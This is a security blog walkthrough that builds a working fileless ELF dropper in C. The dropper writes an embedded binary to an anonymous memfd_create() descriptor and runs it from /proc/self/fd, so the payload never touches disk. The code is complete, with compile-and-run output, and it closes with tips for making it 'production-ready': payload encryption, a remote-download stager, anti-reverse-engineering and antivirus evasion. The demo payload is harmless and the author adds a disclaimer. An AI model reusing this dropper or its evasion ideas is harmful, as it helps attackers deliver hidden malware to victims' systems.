koppian adventures

A Fileless Elf Dropper

Introduction

A dropper is a program that is used to execute malicious code on a computer. It is a kind of installer, that hides the malware from the antivirus system, and the analyst.

In a previous blog post, i described a dropper that I designed in Golang. It had (at least) two drawbacks:

  • The malware that is delivered needs to be in the form of position independent code, with all data inlined, so-called shellcode. While this works for a proof of concept, it cannot be used to drop ELF files. Thus, the malicious code, such as a stealer or remote access trojan needs to be converted to shellcode before it can be dropped with the previous dropper. That is cumbersome, especially for large programs.
  • The malicious code in the previous dropper was file-backed. In contrast, a fileless dropper executes the payload in memory only and thus is harder to detect.

This blog post takes care of both these drawbacks by describing a fileless ELF dropper. As the terminology in this area is not standardized, we could also call it a userspace exec implementation in memory.

The Payload

First of all we need a payload that we can drop. While a real payload of a dropper has some malicious purpose such as stealing credentials, as we are concentrating on the dropper we will use a small harmless payload.

// compile with gcc payload.c -o payload
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    char buffer[1024];
    ssize_t len = readlink("/proc/self/exe", buffer, sizeof(buffer) - 1);

    if (len != -1) {
        buffer[len] = '\0';
        printf("My executable's file path is: %s\n", buffer);
    } else {
        perror("Error reading executable path");
    }
    return 0;
}

This payload returns the executable’s own file. While it may be possible to write this as shellcode in assembly, it is clear that larger programs become more cumbersome. That is the motivation for dropping ELF files directly.

$ gcc -o payload payload.c 
$ ./payload 
My executable's file path is: /home/user/<redacted>/payload

We can get the content of the payload binary as a static C array using xxd as follows.

$ xxd -i payload
unsigned char payload[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  ....
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int payload_len = 23592;

The Dropper

Now, on to designing the dropper. The idea is to create an anonymous file descriptor using memfd_create(). We write the ELF binary to this file descriptor. Consequently the ELF is not backed by memory, but resides only in RAM. The binary is then available in procfs at /proc/self/fd/%i, where %i is the return value of memfd_create(). Consequently, we can execute it using execl().

And that is basically everything there is to it.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>


unsigned char payload[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  ....
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
unsigned int payload_len = 23592;

int main() {
    // Create an anonymous file descriptor
    int memfd = memfd_create("", MFD_CLOEXEC);
    if (memfd == -1) {
        perror("memfd_create");
        exit(EXIT_FAILURE);
    }

    // Write the payload to the memfd file descriptor
    write(memfd, payload, payload_len);

    // Create the string describing the file descriptor
    char * p;
    asprintf(&p, "/proc/self/fd/%i", memfd);

    // Execute the ELF binary at the anonymous file descriptor
    if (execl(p, NULL) == -1) {
        perror("execl");
        exit(EXIT_FAILURE);
    }

    // This code will not be reached if fexecve is successful
    exit(EXIT_SUCCESS);
}

Running the code looks as follows.

$ gcc -o dropper dropper.c 
$ ./dropper 
My executable's file path is: /memfd: (deleted)

Further Ideas

As the code shown covers only the dropping, i will add some points that should be included to make the code more production-ready.

  • Obfuscation: In the version shown above, the ELF file sits naked in the binary file of the dropper as a static array. This can be improved by using obfuscation based on base64 encoding or an encryption algorithm such as AES or RC4. Then, the ELF file is included in the dropper in obfuscated form, and before writing it to the anonymous file handle, it is deobfuscated.
  • Download ELF: Another idea is to not have the ELF file in the binary at all, but use a stager instead. The stager connects to a remote server, receives the (obfuscated) binary, and executes it. This way, the binary is not included in the original dropper.
  • Anti-RE: Currently, the code is easy to analyze using a debugger. Some anti-reverse engineering tricks could be added to spice things up.
  • Stealthiness: The shown trick is nearly only used by malware, and thus antivirus software will probably flag it. I am not yet sure how to improve that.

Epilogue

With great power comes great responsibility. Do not use this for malicious purposes and don’t be a jerk.

Some References

  • https://grugq.github.io/docs/ul_exec.txt
  • https://stackoverflow.com/questions/63208333/using-memfd-create-and-fexecve-to-run-elf-from-memory
  • https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
  • https://0x00sec.org/t/super-stealthy-droppers/3715
  • https://www.guitmz.com/running-elf-from-memory/

Published

28 September 2023

Category

walkthrough

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